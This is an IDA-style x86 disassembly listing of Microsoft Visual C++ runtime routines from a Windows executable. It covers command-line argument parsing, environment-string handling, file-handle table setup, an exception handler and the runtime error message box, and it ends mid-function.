loc_41F3A8:				; CODE XREF: sub_41F2D9+C8j
		inc	eax
		jmp	short loc_41F39C
; ---------------------------------------------------------------------------


loc_41F3AB:				; CODE XREF: sub_41F2D9+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41F47C
		test	edi, edi
		jz	short loc_41F3C0
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41F3C0:				; CODE XREF: sub_41F2D9+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41F3C5:				; CODE XREF: sub_41F2D9+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41F3CE:				; CODE XREF: sub_41F2D9+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41F3D7
		inc	eax
		inc	ebx
		jmp	short loc_41F3CE
; ---------------------------------------------------------------------------


loc_41F3D7:				; CODE XREF: sub_41F2D9+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F408
		test	bl, 1
		jnz	short loc_41F406
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41F3F5
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41F3F5
		mov	eax, edx
		jmp	short loc_41F3F8
; ---------------------------------------------------------------------------


loc_41F3F5:				; CODE XREF: sub_41F2D9+10Dj
					; sub_41F2D9+116j
		mov	[ebp+arg_0], edi


loc_41F3F8:				; CODE XREF: sub_41F2D9+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41F406:				; CODE XREF: sub_41F2D9+106j
		shr	ebx, 1


loc_41F408:				; CODE XREF: sub_41F2D9+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41F41D
		inc	ebx


loc_41F410:				; CODE XREF: sub_41F2D9+142j
		test	esi, esi
		jz	short loc_41F418
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41F418:				; CODE XREF: sub_41F2D9+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41F410


loc_41F41D:				; CODE XREF: sub_41F2D9+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41F46D
		cmp	[ebp+arg_10], 0
		jnz	short loc_41F433
		cmp	dl, 20h
		jz	short loc_41F46D
		cmp	dl, 9
		jz	short loc_41F46D


loc_41F433:				; CODE XREF: sub_41F2D9+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41F467
		test	esi, esi
		jz	short loc_41F456
		movzx	ebx, dl
		test	byte_4CEF01[ebx], 4
		jz	short loc_41F44F
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41F44F:				; CODE XREF: sub_41F2D9+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F465
; ---------------------------------------------------------------------------


loc_41F456:				; CODE XREF: sub_41F2D9+162j
		movzx	edx, dl
		test	byte_4CEF01[edx], 4
		jz	short loc_41F465
		inc	eax
		inc	dword ptr [ecx]


loc_41F465:				; CODE XREF: sub_41F2D9+17Bj
					; sub_41F2D9+187j
		inc	dword ptr [ecx]


loc_41F467:				; CODE XREF: sub_41F2D9+15Ej
		inc	eax
		jmp	loc_41F3C5
; ---------------------------------------------------------------------------


loc_41F46D:				; CODE XREF: sub_41F2D9+148j
					; sub_41F2D9+153j ...
		test	esi, esi
		jz	short loc_41F475
		and	byte ptr [esi],	0
		inc	esi


loc_41F475:				; CODE XREF: sub_41F2D9+196j
		inc	dword ptr [ecx]
		jmp	loc_41F393
; ---------------------------------------------------------------------------


loc_41F47C:				; CODE XREF: sub_41F2D9+BDj
					; sub_41F2D9+D5j
		test	edi, edi
		jz	short loc_41F483
		and	dword ptr [edi], 0


loc_41F483:				; CODE XREF: sub_41F2D9+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41F2D9	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4CDB70
		push	ebx
		push	ebp
		mov	ebp, dword_42403C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41F4DB
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41F4BC
		mov	dword_4CDB70, 1
		jmp	short loc_41F4E4
; ---------------------------------------------------------------------------


loc_41F4BC:				; CODE XREF: ___:0041F4AEj
		nop
		call	near ptr 2600B9Eh
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41F5B6
		mov	dword_4CDB70, 2
		jmp	loc_41F56A
; ---------------------------------------------------------------------------


loc_41F4DB:				; CODE XREF: ___:0041F4A6j
		cmp	eax, 1
		jnz	loc_41F565


loc_41F4E4:				; CODE XREF: ___:0041F4BAj
		cmp	esi, ebx
		jnz	short loc_41F4F4
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41F5B6


loc_41F4F4:				; CODE XREF: ___:0041F4E6j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41F509


loc_41F4FB:				; CODE XREF: ___:0041F500j
					; ___:0041F507j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F4FB
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F4FB


loc_41F509:				; CODE XREF: ___:0041F4F9j
		sub	eax, esi
		mov	edi, dword_424150
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41F55A
		push	ebp
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_41F55A
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_41F556
		push	dword ptr [esp+10h]
		call	sub_417C3B
		pop	ecx
		mov	[esp+10h], ebx


loc_41F556:				; CODE XREF: ___:0041F546j
		mov	ebx, [esp+10h]


loc_41F55A:				; CODE XREF: ___:0041F526j
					; ___:0041F535j
		push	esi
		nop
		call	near ptr 2600E5Bh
		mov	eax, ebx
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------


loc_41F565:				; CODE XREF: ___:0041F4DEj
		cmp	eax, 2
		jnz	short loc_41F5B6


loc_41F56A:				; CODE XREF: ___:0041F4D6j
		cmp	edi, ebx
		jnz	short loc_41F57A
		nop
		call	near ptr 2600B9Eh
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41F5B6


loc_41F57A:				; CODE XREF: ___:0041F56Cj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41F58A


loc_41F580:				; CODE XREF: ___:0041F583j
					; ___:0041F588j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F580
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F580


loc_41F58A:				; CODE XREF: ___:0041F57Ej
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41F5A0
		xor	esi, esi
		jmp	short loc_41F5AB
; ---------------------------------------------------------------------------


loc_41F5A0:				; CODE XREF: ___:0041F59Aj
		push	ebp
		push	edi
		push	esi
		call	sub_417390
		add	esp, 0Ch


loc_41F5AB:				; CODE XREF: ___:0041F59Ej
		push	edi
		nop
		call	near ptr 2600EC0h
		mov	eax, esi
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------


loc_41F5B6:				; CODE XREF: ___:0041F4C6j
					; ___:0041F4EEj ...
		xor	eax, eax


loc_41F5B8:				; CODE XREF: ___:0041F563j
					; ___:0041F5B4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41F5DF
		push	1Bh
		call	sub_419CDA
		pop	ecx


loc_41F5DF:				; CODE XREF: ___:0041F5D5j
		mov	dword_4CECE0, esi
		mov	dword_4CEDE0, 20h
		lea	eax, [esi+100h]


loc_41F5F5:				; CODE XREF: ___:0041F611j
		cmp	esi, eax
		jnb	short loc_41F613
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4CECE0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41F5F5
; ---------------------------------------------------------------------------


loc_41F613:				; CODE XREF: ___:0041F5F7j
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2840000h
		cmp	word ptr [esp+42h], 0
		jz	loc_41F6EF
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_41F6EF
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41F649
		mov	esi, eax


loc_41F649:				; CODE XREF: ___:0041F645j
		cmp	dword_4CEDE0, esi
		jge	short loc_41F6A3
		mov	edi, offset dword_4CECE4


loc_41F656:				; CODE XREF: ___:0041F699j
		push	100h
		call	sub_417B89
		test	eax, eax
		pop	ecx
		jz	short loc_41F69D
		add	dword_4CEDE0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41F674:				; CODE XREF: ___:0041F68Ej
		cmp	eax, ecx
		jnb	short loc_41F690
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41F674
; ---------------------------------------------------------------------------


loc_41F690:				; CODE XREF: ___:0041F676j
		add	edi, 4
		cmp	dword_4CEDE0, esi
		jl	short loc_41F656
		jmp	short loc_41F6A3
; ---------------------------------------------------------------------------


loc_41F69D:				; CODE XREF: ___:0041F663j
		mov	esi, dword_4CEDE0


loc_41F6A3:				; CODE XREF: ___:0041F64Fj
					; ___:0041F69Bj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41F6EF


loc_41F6A9:				; CODE XREF: ___:0041F6EDj
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F6E6
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41F6E6
		test	cl, 8
		jnz	short loc_41F6C8
		push	eax
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_41F6E6


loc_41F6C8:				; CODE XREF: ___:0041F6BBj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4CECE0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41F6E6:				; CODE XREF: ___:0041F6AEj
					; ___:0041F6B6j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41F6A9


loc_41F6EF:				; CODE XREF: ___:0041F624j
					; ___:0041F630j ...
		xor	ebx, ebx


loc_41F6F1:				; CODE XREF: ___:0041F754j
		mov	eax, dword_4CECE0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41F74C
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41F70C
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41F716
; ---------------------------------------------------------------------------


loc_41F70C:				; CODE XREF: ___:0041F705j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41F716:				; CODE XREF: ___:0041F70Aj
		push	eax
		nop
		call	near ptr 2600823h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41F73B
		push	edi
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_41F73B
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41F741


loc_41F73B:				; CODE XREF: ___:0041F722j
					; ___:0041F72Dj
		or	byte ptr [esi+4], 40h
		jmp	short loc_41F750
; ---------------------------------------------------------------------------


loc_41F741:				; CODE XREF: ___:0041F739j
		cmp	eax, 3
		jnz	short loc_41F750
		or	byte ptr [esi+4], 8
		jmp	short loc_41F750
; ---------------------------------------------------------------------------


loc_41F74C:				; CODE XREF: ___:0041F6FDj
		or	byte ptr [esi+4], 80h


loc_41F750:				; CODE XREF: ___:0041F73Fj
					; ___:0041F744j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41F6F1
		push	dword_4CEDE0
		call	near ptr 2600AE1h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F774	proc near		; DATA XREF: sub_41CFF1+Ao
					; sub_41D120+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41F814
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41F7A7:				; CODE XREF: sub_41F774+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41F80D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41F7FB
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41F7FB
		js	short loc_41F806
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4181A0
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4181E2
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_418276
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41F7FB:				; CODE XREF: sub_41F774+40j
					; sub_41F774+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41F7A7
; ---------------------------------------------------------------------------


loc_41F806:				; CODE XREF: sub_41F774+54j
		mov	eax, 0
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F80D:				; CODE XREF: sub_41F774+36j
		mov	eax, 1
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F814:				; CODE XREF: sub_41F774+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4181E2
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41F829:				; CODE XREF: sub_41F774+97j
					; sub_41F774+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F774	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4181E2
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41F84C	proc near		; CODE XREF: sub_419CDA+9p
		mov	eax, dword_4CDA08
		cmp	eax, 1
		jz	short loc_41F863
		test	eax, eax
		jnz	short locret_41F884
		cmp	dword_433C64, 1
		jnz	short locret_41F884


loc_41F863:				; CODE XREF: sub_41F84C+8j
		push	0FCh
		call	sub_41F885
		mov	eax, dword_4CDB74
		pop	ecx
		test	eax, eax
		jz	short loc_41F879
		call	eax


loc_41F879:				; CODE XREF: sub_41F84C+29j
		push	0FFh
		call	sub_41F885
		pop	ecx

locret_41F884:				; CODE XREF: sub_41F84C+Cj
					; sub_41F84C+15j
		retn
sub_41F84C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F885	proc near		; CODE XREF: sub_419CDA+12p
					; sub_41F84C+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_4362F8


loc_41F898:				; CODE XREF: sub_41F885+20j
		cmp	edx, [eax]
		jz	short loc_41F8A7
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_436388
		jl	short loc_41F898


loc_41F8A7:				; CODE XREF: sub_41F885+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_4362F8[esi]
		jnz	loc_41F9D5
		mov	eax, dword_4CDA08
		cmp	eax, 1
		jz	loc_41F9AF
		test	eax, eax
		jnz	short loc_41F8D8
		cmp	dword_433C64, 1
		jz	loc_41F9AF


loc_41F8D8:				; CODE XREF: sub_41F885+44j
		cmp	edx, 0FCh
		jz	loc_41F9D5
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2680000h
		test	eax, eax
		jnz	short loc_41F90F
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx


loc_41F90F:				; CODE XREF: sub_41F885+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_417AB0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41F952
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_417AB0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_418C10
		add	esp, 10h


loc_41F952:				; CODE XREF: sub_41F885+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_4179C0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_A0]
		push	offset asc_424BA8 ; "\n\n"
		push	eax
		call	sub_4179D0
		push	off_4362FC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4179D0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_42105F
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41F9D5
; ---------------------------------------------------------------------------


loc_41F9AF:				; CODE XREF: sub_41F885+3Cj
					; sub_41F885+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_4362FC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_417AB0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 2600823h
		push	eax
		call	near ptr 2660000h
		nop


loc_41F9D5:				; CODE XREF: sub_41F885+2Ej
					; sub_41F885+59j ...
		pop	esi
		leave
		retn
sub_41F885	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F9D8	proc near		; CODE XREF: sub_419D23+6Cp
					; sub_41E248+32p ...

arg_0		= dword	ptr  4

		inc	dword_4CDB78
		push	1000h
		call	sub_417B89
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41FA01
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41FA12
; ---------------------------------------------------------------------------


loc_41FA01:				; CODE XREF: sub_41F9D8+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41FA12:				; CODE XREF: sub_41F9D8+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41F9D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA1C	proc near		; CODE XREF: sub_419D23+61p
					; sub_41A8A2+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4CEDE0
		jb	short loc_41FA2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41FA2B:				; CODE XREF: sub_41FA1C+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4CECE0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41FA1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA42	proc near		; DATA XREF: ___:00426020o
		mov	eax, dword_4CECC0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41FA56
		mov	eax, 200h
		jmp	short loc_41FA5C
; ---------------------------------------------------------------------------


loc_41FA56:				; CODE XREF: sub_41FA42+Bj
		cmp	eax, esi
		jge	short loc_41FA61
		mov	eax, esi


loc_41FA5C:				; CODE XREF: sub_41FA42+12j
		mov	dword_4CECC0, eax


loc_41FA61:				; CODE XREF: sub_41FA42+16j
		push	4
		push	eax
		call	sub_4210E8
		pop	ecx
		mov	dword_4CDCB0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41FA95
		push	4
		push	esi
		mov	dword_4CECC0, esi
		call	sub_4210E8
		pop	ecx
		mov	dword_4CDCB0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41FA95
		push	1Ah
		call	sub_419CDA
		pop	ecx


loc_41FA95:				; CODE XREF: sub_41FA42+30j
					; sub_41FA42+49j
		xor	ecx, ecx
		mov	eax, offset off_436388


loc_41FA9C:				; CODE XREF: sub_41FA42+6Ej
		mov	edx, dword_4CDCB0
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_436608
		jl	short loc_41FA9C
		xor	edx, edx
		mov	ecx, offset dword_436398


loc_41FAB9:				; CODE XREF: sub_41FA42+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4CECE0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FAD6
		test	eax, eax
		jnz	short loc_41FAD9


loc_41FAD6:				; CODE XREF: sub_41FA42+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41FAD9:				; CODE XREF: sub_41FA42+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_4363F8
		jl	short loc_41FAB9
		pop	esi
		retn
sub_41FA42	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FAE7	proc near		; DATA XREF: ___:00426030o

; FUNCTION CHUNK AT 00421199 SIZE 00000058 BYTES

		call	sub_41A82C
		cmp	byte_4CD9F4, 0
		jz	short locret_41FAFA
		jmp	loc_421199
; ---------------------------------------------------------------------------

locret_41FAFA:				; CODE XREF: sub_41FAE7+Cj
		retn
sub_41FAE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FAFB	proc near		; CODE XREF: sub_419E38+2D4p
					; sub_419E38+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41FB07
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FB07:				; CODE XREF: sub_41FAFB+8j
		cmp	dword_4CDA48, 0
		jnz	short loc_41FB22
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41FB54
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FB22:				; CODE XREF: sub_41FAFB+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_433E7C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4CDA58
		nop
		call	near ptr 27C0000h
		test	eax, eax
		jz	short loc_41FB54
		cmp	[ebp+arg_0], 0
		jz	short loc_41FB61


loc_41FB54:				; CODE XREF: sub_41FAFB+1Ej
					; sub_41FAFB+51j
		mov	dword_4CD9B4, 2Ah
		or	eax, 0FFFFFFFFh


loc_41FB61:				; CODE XREF: sub_41FAFB+57j
		pop	ebp
		retn
sub_41FAFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB63	proc near		; CODE XREF: sub_41A642+5Ep
					; sub_41EB6C+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424BE8
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4CDB7C
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41FBD2
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4248D8
		push	esi
		call	near ptr 25F0000h
		nop
		test	eax, eax
		jz	short loc_41FBB0
		mov	eax, esi
		jmp	short loc_41FBCD
; ---------------------------------------------------------------------------


loc_41FBB0:				; CODE XREF: sub_41FB63+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_436EF4
		push	esi
		push	ebx
		nop
		call	near ptr 25F087Fh
		test	eax, eax
		jz	loc_41FC98
		push	2
		pop	eax


loc_41FBCD:				; CODE XREF: sub_41FB63+4Bj
		mov	dword_4CDB7C, eax


loc_41FBD2:				; CODE XREF: sub_41FB63+2Fj
		cmp	eax, 2
		jnz	short loc_41FBFB
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41FBE3
		mov	eax, dword_4CDA48


loc_41FBE3:				; CODE XREF: sub_41FB63+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 25F087Fh
		jmp	loc_41FC9A
; ---------------------------------------------------------------------------


loc_41FBFB:				; CODE XREF: sub_41FB63+72j
		cmp	eax, 1
		jnz	loc_41FC98
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41FC11
		mov	eax, dword_4CDA58
		mov	[ebp+arg_10], eax


loc_41FC11:				; CODE XREF: sub_41FB63+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2640000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41FC98
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_417330
		add	esp, 0Ch
		jmp	short loc_41FC67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_41FC67:				; CODE XREF: sub_41FB63+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41FC98
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	near ptr 2640000h
		nop
		cmp	eax, ebx
		jz	short loc_41FC98
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	near ptr 25F0000h
		nop
		jmp	short loc_41FC9A
; ---------------------------------------------------------------------------


loc_41FC98:				; CODE XREF: sub_41FB63+61j
					; sub_41FB63+9Bj ...
		xor	eax, eax


loc_41FC9A:				; CODE XREF: sub_41FB63+93j
					; sub_41FB63+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FB63	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCAC	proc near		; CODE XREF: sub_41FEC6:loc_42003Ep
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4CECE0


loc_41FCBB:				; CODE XREF: sub_41FCAC+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41FCF8
